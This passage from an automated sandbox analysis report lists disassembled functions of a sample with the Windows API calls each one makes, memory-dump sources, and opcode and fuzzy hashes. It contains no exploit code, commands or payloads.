                                                                                                                                                  • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                                                                                                  Function 0045D070 Relevance: 6.1, APIs: 4, Instructions: 100fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                                                                                                                                                  • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                                                                                                                                                  • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3321077145-0
                                                                                                                                                  • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                  • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                                                                                                                                                  • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                                                                  • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                                                                                                                                                  Function 0045058D Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetParent.USER32(?), ref: 004505BF
                                                                                                                                                  • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                                                                                                                                                  • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                                                                                                                                                  • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Proc$Parent
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2351499541-0
                                                                                                                                                  • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                  • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                                                                                                                                                  • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                                                                  • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                                                                                                                                                  Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 0040E202
                                                                                                                                                  • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: IconNotifyShell__memset
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 928536360-0
                                                                                                                                                  • Opcode ID: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                  • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                                                                                                                                                  • Opcode Fuzzy Hash: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                  • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                                                                                                                                                  Function 004727F8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetForegroundWindow.USER32 ref: 00472806
                                                                                                                                                    • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                                                                                                                                    • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                                                                                                                                    • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                                                                                                                                                  • GetCaretPos.USER32(?), ref: 0047281A
                                                                                                                                                  • ClientToScreen.USER32(00000000,?), ref: 00472856
                                                                                                                                                  • GetForegroundWindow.USER32 ref: 0047285C
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2759813231-0
                                                                                                                                                  • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                  • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                                                                                                                                                  • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                  • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                                                                                                                                                  Function 0047721A Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                                                                                                                                                  • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                                                                                                                                                  • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                                                                                                                                                  • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$Long$AttributesLayered
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2169480361-0
                                                                                                                                                  • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                  • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                                                                                                                                                  • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                  • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                                                                                                                                                  Function 004588B0 Relevance: 6.1, APIs: 4, Instructions: 67networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • select.WSOCK32 ref: 0045890A
                                                                                                                                                  • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                                                                                                                                                  • accept.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 00458927
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorLastacceptselect
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 385091864-0
                                                                                                                                                  • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                  • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                                                                                                                                                  • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                  • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                                                                                                                                                  Function 00438D4E Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                                                                                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                                                                                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                                                                                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3850602802-0
                                                                                                                                                  • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                  • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                                                                                                  • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                  • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                                                                                                  Function 0044419B Relevance: 6.1, APIs: 4, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 004441B8
                                                                                                                                                  • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00444213
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2880819207-0
                                                                                                                                                  • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                  • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                                                                                                                                                  • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                  • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                                                                                                                                                  Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00434037
                                                                                                                                                  • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                                                                                                  • ScreenToClient.USER32(?,?), ref: 00434085
                                                                                                                                                  • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ClientRectScreen$InvalidateWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 357397906-0
                                                                                                                                                  • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                  • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                                                                                                  • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                  • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                                                                                                  Function 00436A1D Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                    • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00436AB0
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1187119602-0
                                                                                                                                                  • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                  • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                                                                                                  • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                  • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                                                                                                  Function 00437AFE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1597257046-0
                                                                                                                                                  • Opcode ID: 89f1a50a5f3f04ab4eb1e3bf6fc47514f3819a61a53c7cc8dd854e7388be254d
                                                                                                                                                  • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                                                                                                  • Opcode Fuzzy Hash: 89f1a50a5f3f04ab4eb1e3bf6fc47514f3819a61a53c7cc8dd854e7388be254d
                                                                                                                                                  • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                                                                                                  Function 004555D6 Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: DeleteDestroyObject$IconWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3349847261-0
                                                                                                                                                  • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                  • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                                                                                                                                                  • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                  • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                                                                                                                                                  Function 0044B600 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                                                                                                                                                  • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2223660684-0
                                                                                                                                                  • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                  • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
                                                                                                                                                  • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                  • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                                                                                                                                                  Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                    • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                    • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                    • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                    • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                  • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                                                                                                  • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                                                                                                  • EndPath.GDI32(?), ref: 004472B0
                                                                                                                                                  • StrokePath.GDI32(?), ref: 004472BE
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
